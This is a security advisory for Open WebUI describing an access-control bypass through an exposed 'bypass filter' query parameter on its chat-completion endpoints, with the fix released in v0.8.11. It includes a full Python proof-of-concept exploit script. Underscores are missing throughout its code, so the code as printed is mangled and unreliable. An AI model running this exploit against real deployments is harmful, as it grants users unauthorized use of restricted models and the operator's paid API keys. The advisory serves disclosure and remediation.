PT-2026-59399 · Pypi · Open-Webui
Publicado
2026-07-13
·
Atualizado
2026-07-13
CVSS v3.1
5.4
Média
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N |
Summary
An internal-only bypass filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass filter=true and bypass model access control checks to invoke admin-restricted models.
Details
The
generate chat completion route handlers in both routers/openai.py and routers/ollama.py declare bypass filter as a function parameter:routers/openai.py, line 937–941:python
@router.post("/chat/completions")
async def generate chat completion(
request: Request,
form data: dict,
user=Depends(get verified user),
bypass filter: Optional[bool] = False,
...
):routers/ollama.py, line 1283–1288:python
@router.post("/api/chat")
async def generate chat completion(
...
bypass filter: Optional[bool] = False,
...
):Because FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending
?bypass filter=true to the request URL.When
bypass filter is true, the access control check is skipped entirely:routers/openai.py, line 980:python
if not bypass filter and user.role == "user":
# ACL check — skipped when bypass filter is TrueThis parameter is intended for internal use only — the server-side chat pipeline in
utils/chat.py (lines 238, 253) passes bypass filter=True as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.This is separate from the
BYPASS MODEL ACCESS CONTROL environment variable, which is a deliberate admin setting for trusted environments.PoC
python
#!/usr/bin/env python3
"""
uv run --no-project --with requests finding 02 bypass filter acl bypass.py [--base-url http://localhost:8089]
Finding #2 — Unauthorized model access via bypass filter query parameter
SUMMARY:
The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose
a bypass filter query parameter as part of their FastAPI function signatures.
FastAPI automatically binds this to the query string. When an authenticated
user appends ?bypass filter=true, the access control check is skipped:
if not bypass filter and user.role == "user":
check model access(user, model) # <-- skipped when bypass filter=True
This allows any authenticated user to invoke models they are not authorized
to use, including admin-restricted models.
VULNERABLE CODE:
backend/open webui/routers/openai.py, line 941 + 980:
async def generate chat completion(..., bypass filter: Optional[bool] = False, ...):
...
if not bypass filter and user.role == "user":
# ACL check — skipped when bypass filter=True
backend/open webui/routers/ollama.py, line 1288 + 1339:
async def generate chat completion(..., bypass filter: Optional[bool] = False, ...):
...
if not bypass filter and user.role == "user":
# ACL check — skipped when bypass filter=True
IMPACT:
Any authenticated user can bypass model access control on both OpenAI and
Ollama proxy endpoints. Because bypass filter skips the ACL check but still
routes through the server-side LLM connection, the attacker can invoke
admin-restricted models using the server's API keys and receive actual LLM
responses — effectively gaining free, unauthorized access to any configured
model.
REPRODUCTION:
1. Create a restricted model with empty access grants (admin-only).
2. Authenticate as a regular user.
3. POST /openai/chat/completions with the restricted model → expect 403.
4. POST /openai/chat/completions?bypass filter=true → request succeeds.
REQUIREMENTS:
- Running Open WebUI instance with Ollama or OpenAI backend configured
- A model with restricted access grants
- An authenticated user who is NOT granted access to that model
"""
import argparse
import sys
import requests
def main():
parser = argparse.ArgumentParser(description="Finding #2: bypass filter ACL bypass")
parser.add argument("--base-url", required=True, help="Open WebUI base URL")
parser.add argument("--attacker-email", required=True)
parser.add argument("--attacker-password", required=True)
parser.add argument("--admin-email", required=True)
parser.add argument("--admin-password", required=True)
args = parser.parse args()
base = args.base url.rstrip("/")
# ── Step 1: Authenticate ──
print("[*] Authenticating as attacker...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.attacker email, "password": args.attacker password})
if not r.ok:
print(f"[-] Login failed: {r.status code}")
sys.exit(1)
attacker token = r.json()["token"]
print(f"[+] Logged in as attacker (id={r.json()['id']})")
# ── Step 2: Find restricted model via admin ──
print("[*] Authenticating as admin to find restricted model...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.admin email, "password": args.admin password})
if not r.ok:
print(f"[-] Admin login failed: {r.status code}")
sys.exit(1)
admin token = r.json()["token"]
r = requests.get(f"{base}/api/v1/models", headers={"Authorization": f"Bearer {admin token}"})
if not r.ok:
print(f"[-] Failed to list models: {r.status code}")
sys.exit(1)
models = r.json()
if isinstance(models, dict):
models = models.get("data", models.get("models", []))
restricted model id = None
base model id = None
for m in models:
info = m.get("info", {})
if not info:
continue
access grants = info.get("access grants", None)
if access grants is not None and len(access grants) == 0 and info.get("base model id"):
restricted model id = m["id"]
base model id = info.get("base model id")
print(f"[+] Found restricted model: {restricted model id} (base: {base model id})")
break
if not restricted model id:
print("[-] No restricted model found.")
sys.exit(1)
headers = {"Authorization": f"Bearer {attacker token}"}
payload = {
"model": restricted model id,
"messages": [{"role": "user", "content": "Say exactly: BYPASS CONFIRMED"}],
"stream": False,
}
# ── Step 3: Confirm access is denied on /openai/chat/completions ──
print(f"
[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted model id}'...")
r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload)
print(f" Response: {r.status code} {r.text[:200]}")
if r.status code == 403:
print("[+] Access correctly DENIED (403) — attacker cannot use the restricted model")
else:
print(f"[!] Unexpected response code {r.status code} (expected 403)")
# ── Step 4: Bypass with ?bypass filter=true on OpenAI endpoint ──
print(f"
[*] Step 2: POST /openai/chat/completions?bypass filter=true ...")
r = requests.post(f"{base}/openai/chat/completions",
headers=headers, json=payload,
params={"bypass filter": "true"})
print(f" Response: {r.status code} {r.text[:300]}")
openai bypassed = r.status code != 403
if openai bypassed:
print(f"[+] OpenAI endpoint: ACL BYPASSED (got {r.status code} instead of 403)")
else:
print(f"[-] OpenAI endpoint: bypass did not work (still 403)")
# ── Step 5: Also test Ollama endpoint ──
print(f"
[*] Step 3: POST /ollama/api/chat?bypass filter=true ...")
ollama payload = {
"model": restricted model id,
"messages": [{"role": "user", "content": "Say exactly: BYPASS CONFIRMED"}],
"stream": False,
}
r normal = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama payload)
print(f" Without bypass: {r normal.status code} {r normal.text[:150]}")
r bypass = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama payload,
params={"bypass filter": "true"})
print(f" With bypass: {r bypass.status code} {r bypass.text[:150]}")
ollama bypassed = r normal.status code == 403 and r bypass.status code != 403
if ollama bypassed:
print(f"[+] Ollama endpoint: ACL BYPASSED ({r normal.status code} → {r bypass.status code})")
elif r bypass.status code != 403:
print(f"[+] Ollama endpoint: bypass filter accepted (status {r bypass.status code})")
ollama bypassed = True
else:
print(f"[-] Ollama endpoint: bypass did not work")
# ── Results ──
if openai bypassed or ollama bypassed:
print(f"
[+] SUCCESS: bypass filter query parameter bypasses model access control!")
print(f" OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai bypassed else 'not bypassed'}")
print(f" Ollama endpoint (/ollama/api/chat): {'BYPASSED' if ollama bypassed else 'not bypassed'}")
print(f"")
print(f" Any authenticated user can append ?bypass filter=true to skip")
print(f" check model access() and use admin-restricted models via the")
print(f" server's own API keys.")
sys.exit(0)
else:
print(f"
[-] FAILED: bypass filter did not bypass access control on either endpoint")
sys.exit(1)
if name == " main ":
main()Impact
Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only.
Resolution
Fixed in commit c0385f60b, first released in v0.8.11 (Mar 2026) — one day after this report.
bypass filter is no longer a function parameter on either route handler. Both routers/openai.py and routers/ollama.py now read it via getattr(request.state, 'bypass filter', False). Because request.state can only be populated by server-side code in the same process (typically utils/chat.py when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending ?bypass filter=true to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.Users on
>= 0.8.11 are not affected.Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Open-Webui